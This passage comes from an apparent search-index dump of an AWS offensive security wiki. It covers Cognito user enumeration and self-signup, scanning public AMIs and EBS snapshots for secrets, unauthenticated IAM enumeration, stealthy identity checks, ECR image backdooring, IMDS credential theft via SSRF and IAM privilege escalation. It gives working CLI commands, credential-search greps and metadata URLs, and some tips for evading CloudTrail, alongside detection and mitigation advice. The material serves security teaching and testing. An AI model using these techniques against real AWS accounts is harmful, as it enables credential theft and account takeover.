\"CodeDeliveryDetails\": {\n        \"Destination\": \"b***@b***\",\n        \"DeliveryMedium\": \"EMAIL\",\n        \"AttributeName\": \"email\"\n    },\n    \"UserSub\": \"a20\u2026\"\n}\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#detection-opportunities","title":"Detection Opportunities","text":"<p>If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in <code>Unconfirmed</code> user accounts.</p> <p></p> <p>Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.</p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cloudtrail-and-cloudwatch-limitations","title":"CloudTrail and CloudWatch Limitations","text":"<p>If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the <code>userIdentity</code> who made the API call is <code>Anonymous</code></p> <pre><code>{\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"Unknown\",\n        \"principalId\": \"Anonymous\"\n}\n</code></pre> <p>And the <code>username</code> and <code>userAttributes</code> are hidden:</p> <pre><code>\"requestParameters\": {\n    \"clientId\": \"719...\",\n    \"username\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"password\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"userAttributes\": \"HIDDEN_DUE_TO_SECURITY_REASONS\"\n}\n</code></pre> <p>For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated <code>sourceIPAddress</code>, but not access their details. </p>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/","title":"Discover secrets in public AMIs","text":"<ul> <li> <p> Original Research</p> <p>AWS CloudQuarry: Digging for Secrets in Public AMIs by Eduard Agavriloae and Matei Josephs.</p> </li> </ul> <p>For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.</p>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#finding-exposed-amis","title":"Finding Exposed AMIs","text":"<p>Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.</p> <p>However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:</p> <pre><code>aws ec2 describe-images --owners &lt;account_id&gt; --include-deprecated --region &lt;region&gt;\n</code></pre>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#using-public-amis-and-scanning-for-credentials","title":"Using Public AMIs and Scanning for Credentials","text":"<p>Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.</p>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#launching-an-instance-from-a-public-ami","title":"Launching an Instance from a Public AMI","text":"<p>To launch an instance from a public AMI, follow these steps:</p> <ol> <li>Launch an Instance: Using the AWS CLI, launch an instance using the desired AMI: <pre><code>aws ec2 run-instances --image-id &lt;image_id&gt; --instance-type t2.micro --key-name &lt;key-pair&gt;\n</code></pre></li> <li>Access the Instance: Once the instance is running, connect to it using Session Manager or SSH: <pre><code>ssh -i &lt;your-key-pair&gt;.pem ec2-user@&lt;public-dns-of-instance&gt;\n</code></pre></li> </ol>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#manually-scanning-for-credentials","title":"Manually Scanning for Credentials","text":"<p>Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:</p> <ol> <li>Search for AWS Credentials: <pre><code>find / -name \"credentials\" -type f\n</code></pre></li> <li>Search for SSH Keys: <pre><code>find / -name \"id_rsa\" -type f\n</code></pre></li> <li>Look for Configuration Files Containing Sensitive Information: Use <code>grep</code> to locate keywords such as 'password', 'secret', 'key', etc. <pre><code>grep -ri 'password\\|secret\\|key' /path/to/search\n</code></pre></li> </ol>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#automating-the-process","title":"Automating the Process","text":"<p>While the manual process can be effective for targeted searches, automation provides efficiency and consistency at scale. </p> <p>You can write scripts or use specialized tools to automate the detection of sensitive information. Here are some approaches:</p> <ol> <li>Using Bash Scripts: Create a script that executes various <code>find</code> and <code>grep</code> commands. Save this as <code>scan.sh</code>: <pre><code>#!/bin/bash\n# Search for AWS credentials\nfind /home -name \"credentials\" -print\n\n# Search for SSH keys\nfind /home -name \"id_rsa\" -print\n\n# Search for sensitive information in configuration files\ngrep -ri 'password\\|secret\\|key' /home\n</code></pre> Run the script on each instance: <pre><code>chmod +x scan.sh\n./scan.sh\n</code></pre></li> <li>Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.</li> </ol>"},{"location":"aws/enumeration/enum_iam_user_role/","title":"Unauthenticated Enumeration of IAM Users and Roles","text":"<ul> <li> <p> Original Research</p> <p> <p>Hacking AWS end-to-end - remastered by Daniel Grzelak</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <p>Reference: Unauthenticated AWS Role Enumeration (IAM Revisited)</p> </li> <li> <p> Tools mentioned in this article</p> <ul> <li>quiet-riot </li> <li>enumerate_iam_using_bucket_policy</li> <li>pacu:iam_enum_roles</li> </ul> </li> </ul> <p>You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.</p> <p>Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Example permissions\",\n            \"Effect\": \"Deny\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::123456789123:role/role_name\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::*bucket you own*\"\n        }\n    ]\n}\n</code></pre> <p>You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.</p> <p>There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.</p> <p>Warning</p> <p>Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).</p> <p>Note</p> <p>While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.</p> <p>Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.</p> <p>From the AWS Console, ensure the <code>Root user</code> radio button is selected and enter an email address that you suspect owns an AWS account. </p> <p>If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:</p> <pre><code>There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n</code></pre>"},{"location":"aws/enumeration/enumerate_principal_arn_from_unique_id/","title":"Derive a Principal ARN from an AWS Unique Identifier","text":"<ul> <li> <p> Original Research</p> <p> <p>Reversing AWS IAM unique IDs by Aidan Steele</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <p>Reference: Unique identifiers</p> </li> </ul> <p>When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).</p> <p>For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.</p> <p>To do this, we can use the example ID of <code>AROAJMD24IEMKTX6BABJI</code> from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.</p> <p>First, we will create a role with the following trust policy:</p> <pre><code>{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"AROAJMD24IEMKTX6BABJI\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>We will then save the policy and refresh the page. </p> <p>Note</p> <p>You may get a warning in the policy editor saying, \"Invalid Role Reference: The Principal element includes the IAM role ID AROAJMD24IEMKTX6BABJI. We recommend that you use a role ARN instead\", however this will not prevent you from saving the policy.</p> <p>After refreshing the page the policy will now be as follows:</p> <pre><code>{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::607481581596:role/service-role/abctestrole\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>This reveals the ARN of the role associated with the original unique identifier.</p>"},{"location":"aws/enumeration/enumerate_root_email_from_console/","title":"Enumerate Root User Email Address from the AWS Console","text":"<p>Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.</p> <p>From the AWS Console, ensure the <code>Root user</code> radio button is selected and enter an email address that you suspect owns an AWS account. </p> <p>If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:</p> <pre><code>There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n</code></pre>"},{"location":"aws/enumeration/get-account-id-from-keys/","title":"Get Account ID from AWS Access Keys","text":"<ul> <li> <p> Original Research</p> <ul> <li>AWS Access Key ID Formats by Aidan Steele</li> <li>A short note on AWS KEY ID by Tal Be'ery</li> </ul> </li> </ul> <p>While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.</p> <p>To solve this problem, there are multiple ways to determine the account ID of IAM credentials.</p>"},{"location":"aws/enumeration/get-account-id-from-keys/#stsgetaccesskeyinfo","title":"sts:GetAccessKeyInfo","text":"<p>Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).</p> <pre><code>user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456\n{\n    \"Account\": \"123456789012\"\n}\n</code></pre>"},{"location":"aws/enumeration/get-account-id-from-keys/#decode-the-access-key","title":"Decode the access key","text":"<p>As originally discovered by Aidan Steele, and later improved upon by Tal Be'ery, the account ID is actually encoded into the access key itself. </p> <p>By decoding the access key using Base32 and doing a little bit shifting, we can get the account ID. Tal wrote the handy Python script below to do this:</p> <pre><code>import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n\n    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n    y = x[0:6]\n\n    z = int.from_bytes(y, byteorder='big', signed=False)\n    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)\n\n    e = (z &amp; mask)&gt;&gt;7\n    return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n</code></pre>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/","title":"Loot Public EBS Snapshots","text":"<p>For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.</p>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#making-them-public","title":"Making them Public","text":"<p>EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.</p> <p></p>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#finding-exposed-snapshots","title":"Finding Exposed Snapshots","text":"<p>A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).</p> <p>A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select <code>Public snapshots</code> from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).</p> <p></p> <p>To pull this list in an easily consumable format you can use the following CLI command:</p> <pre><code>aws ec2 describe-snapshots --restorable-by-user-ids all\n</code></pre> <p>As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.</p> <p>Tip</p> <p>This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.</p> <p>To search for all public EBS snapshots associated with an AWS account, use the following command:</p> <pre><code>aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000\n</code></pre>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#identification","title":"Identification","text":"<p>To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.</p> <pre><code>./prowler -c ec2_ebs_public_snapshot\n</code></pre>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#detection","title":"Detection","text":"<p>When someone makes an EBS snapshot publicly accessible, CloudTrail generates an <code>ec2:ModifySnapshotAttribute</code> event with <code>createVolumePermission</code> set to <code>{\"add\": {\"items\": [{ \"groups\": \"all\" }]}}</code>. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.</p>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#additional-resources","title":"Additional Resources","text":"<p>For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, <code>Finding Secrets In Publicly Exposed EBS Volumes</code> by Ben Morris (slides available here).</p>"},{"location":"aws/enumeration/whoami/","title":"Whoami - Get Principal Name From Keys","text":"<p>After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.</p> <p>Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information. </p> <p>Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:</p> <pre><code>An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.\n</code></pre>"},{"location":"aws/enumeration/whoami/#sqslistqueues","title":"sqs:ListQueues","text":"<p>sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the <code>ListQueues</code> action does not appear in the documentation for SQS's compatibility with CloudTrail.</p> <pre><code>user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n</code></pre>"},{"location":"aws/exploitation/abusing-container-registry/","title":"Abusing Elastic Container Registry for Lateral Movement","text":"<ul> <li> <p> Original Research</p> <ul> <li>Abusing Elastic Container Registry (ECR) to own AWS environments by Roi Lavie </li> <li>Docker Security : Backdooring Images with Dockerscan by Mayank Shah</li> </ul> </li> <li> <p> Required IAM Permissions</p> <p>Read and write access to an ECR registry</p> </li> </ul> <p>IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.</p> <p></p> <p>This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.</p> <p>Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</p> <p>Video Summary:</p> <ul> <li>An attacker\u2019s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.</li> <li>The attacker gains access to resources using access to ECR</li> <li>The attacker pulls the latest docker image</li> <li>The attacker adds a layer by injecting a malicious payload to the docker image</li> <li>The attacker pushes the docker image to ECR with the latest tag</li> <li>The victim pulls the latest docker image and starts the container</li> <li>The malicious reverse shell is executed and communicates with the attacker</li> <li>The attacker steals the server's IAM credentials   (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)</li> </ul> <p>Security Recommendations:</p> <ul> <li>Least privileges \u2014 external facing apps should not have write access or wildcard (*) permissions on ECR</li> <li>Secure CI/CD pipelines \u2014 Protect from any unauthorized access to source code repos or build tools.</li> <li>Enforce signing of docker images</li> <li>(see: https://github.com/notaryproject/notary)</li> <li>Use docker custom security profiles like AppArmor, Seccomp</li> <li>Audit and monitor access and actions on ECR using AWS CloudTrail   (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)</li> </ul> <p>Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/","title":"Overpermissioned AWS Cognito Identity Pools","text":"<ul> <li> <p> Additional Resources</p> <ul> <li>Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat by Usama Rasheed</li> <li>AWS Cognito pitfalls: Default settings attackers love (and you should know about) by Lorenzo Vogelsang</li> </ul> </li> </ul> <p>A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.</p> <p>If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.</p> <p>Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#how-it-works","title":"How it works","text":"<p>The process usually involves two key steps:</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#identity-retrieval","title":"Identity Retrieval:","text":"<p>This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.</p> <p>When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.  </p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#excessive-privileges-exploitation","title":"Excessive Privileges Exploitation:","text":"<p>The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.</p> <p>However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation","title":"Exploitation","text":"<p>The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:</p> <p><pre><code>aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}\n</code></pre> and then: <pre><code>aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}\n</code></pre></p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#impact","title":"Impact","text":"<p>The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.</p> <p>However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/","title":"Unintended Self-Signup in AWS Cognito","text":"<ul> <li> <p> Additional Resources</p> <ul> <li>CloudGoat Scenario: vulnerable_cognito</li> </ul> </li> </ul> <p>A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users. </p> <p>However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If \"Admin Only\" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/#how-it-works","title":"How it works","text":"<p>Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/#web-applications","title":"Web applications:","text":"<p>An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:</p> <ol> <li>Opening the web application in a web browser. </li> <li>Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage. </li> <li>Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID. </li> </ol> <p>It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/#mobile-applications","title":"Mobile applications:","text":"<p>Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:</p> <ol> <li>Downloading the application package (APK for Android, IPA for iOS) to a local device.</li> <li>Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications. </li> <li>Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.</li> </ol>"},{"location":"aws/exploitation/cognito_user_self_signup/#exploitation","title":"Exploitation","text":"<p>Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:</p> <pre><code>$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}\n</code></pre> <p>If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.</p> <pre><code>$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}\n</code></pre>"},{"location":"aws/exploitation/cognito_user_self_signup/#impact","title":"Impact","text":"<p>The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways. </p> <p>Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.</p> <p>In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.</p>"},{"location":"aws/exploitation/ec2-metadata-ssrf/","title":"Steal EC2 Metadata Credentials via SSRF","text":"<p>Note</p> <p>This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.</p> <p>One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.</p> <p>Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.</p> <p>If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.</p>"},{"location":"aws/exploitation/ec2-metadata-ssrf/#stealing-iam-credentials-from-the-instance-metadata-service","title":"Stealing IAM Credentials from the Instance Metadata Service","text":"<p>If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.</p> <p>This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.</p> <p>To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to <code>http://169.254.169.254</code>.</p> <p></p> <p>To determine if the EC2 instance has an IAM role associated with it, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/</code>. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.</p> <p>If there is a valid role we can steal, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.</p> <p></p> <p>To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/</code>.</p> <p></p> <p>These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.</p> <p>Note</p> <p>An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.</p>"},{"location":"aws/exploitation/ec2-metadata-ssrf/#additional-resources","title":"Additional Resources","text":"<p>For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.</p> <p></p>"},{"location":"aws/exploitation/iam_privilege_escalation/","title":"AWS IAM Privilege Escalation Techniques","text":"<ul> <li> <p> Original Research</p> <p> <p>AWS IAM Privilege Escalation \u2013 Methods and Mitigation by Spencer Gietzen</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <ul> <li>AWS IAM Privilege Escalation Methods</li> <li>Well, That Escalated Quickly: Privilege Escalation in AWS by Gerben Kleijn</li> </ul> </li> </ul> <p>Note</p> <p>If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#codestarcreateproject-codestarassociateteammember","title":"codestar:CreateProject, codestar:AssociateTeamMember","text":"<p>With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.</p> <p>This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.</p> <p></p> <p></p>"},{"location":"aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint","title":"glue:UpdateDevEndpoint","text":"<p>With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamaddusertogroup","title":"iam:AddUserToGroup","text":"<p>With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy","title":"iam:AttachGroupPolicy","text":"<p>With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy","title":"iam:AttachRolePolicy","text":"<p>With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy","title":"iam:AttachUserPolicy","text":"<p>With access to the iam:AttachUserPolicy 